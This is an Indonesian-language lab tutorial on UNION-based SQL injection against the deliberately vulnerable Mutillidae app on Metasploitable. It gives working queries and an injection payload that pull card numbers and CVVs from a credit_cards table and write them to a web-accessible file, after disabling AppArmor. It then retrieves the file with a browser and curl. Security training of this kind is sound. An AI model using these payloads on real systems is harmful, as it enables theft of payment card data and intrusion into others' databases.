Lesson 9 - SQL Injection Union Exploit #2
# Penjelasan Database Union
- Step 1 : Masuk ke dalam database Mutillidae di Metasploitable OS
su - root
mysql -uroot
use owasp10;
show tables;
didalam database terdapat tabel accounts dan credit_cards. 2 tabel tersebut akan kita union kan. UNION adalah operasi penggabungan lebih dari satu hasil SELECT dalam SQL
- Step 2 : Melakukan operasi UNION
Operasi UNION menampilkan di terminal
select * from accounts where username RLIKE '^[0-9]' union select ccid, ccnumber, ccv, expiration, null from credit_cards;
Operasi UNION mencetak di file yang berlokasi di '/tmp/CCN.csv'
select * from accounts where username RLIKE '^[0-9]' union select ccid,ccnumber,ccv,expiration,null from credit_cards INTO OUTFILE '/tmp/CCN.csv' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"' LINES TERMINATED by '\n';
\! cat /tmp/CCN.csv
# SQL Injection
Step 1 : Buka
http://10.151.36.64/mutillidae/
lalu masuk ke halaman user info. Pilih sidebar. OWASP Top 10 --> A1 - SQL Injection --> SQLi - Extract Data --> User InfoStep 2 : Ubah ukuran text box username menjadi 100% menggunakan inspect element agar text box lebih panjang untuk menuliskan syntax SQL Injection.
Step 3 : Matikan AppArmor pada Metasploitable OS dengan
sudo /etc/init.d/apparmor stop
AppArmor dalam OS turunan Ubuntu berfungsi untuk membatasi resource dari aktivitas-aktivitas sistem. Hal ini agar MySQL memiliki akses read/write di directori web app.Step 4 : Masukkan operasi sql di bawah di dalam textbox Name lalu tekan tombol View Account Details
' union select ccid,ccnumber,ccv,expiration,null from credit_cards INTO DUMPFILE '/var/www/mutillidae/CCN2.txt' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"' LINES TERMINATED BY '\n' --
Dan jangan lupa untuk menambahkan 1 spasi diakhir,
"-- "
. Operasi ini adalah tidak akan menampilkan hasil, justru Authentication Error. Namun disisi lain akan membuat file CCN2.txt
- Step 5 : Melihat hasil operasi dengan web browser
http://10.151.36.64/mutillidae/CCN2.txt
- Step 6 : Melihat hasil operasi dengan web browser
curl --location 10.151.36.64/mutillidae/CCN2.txt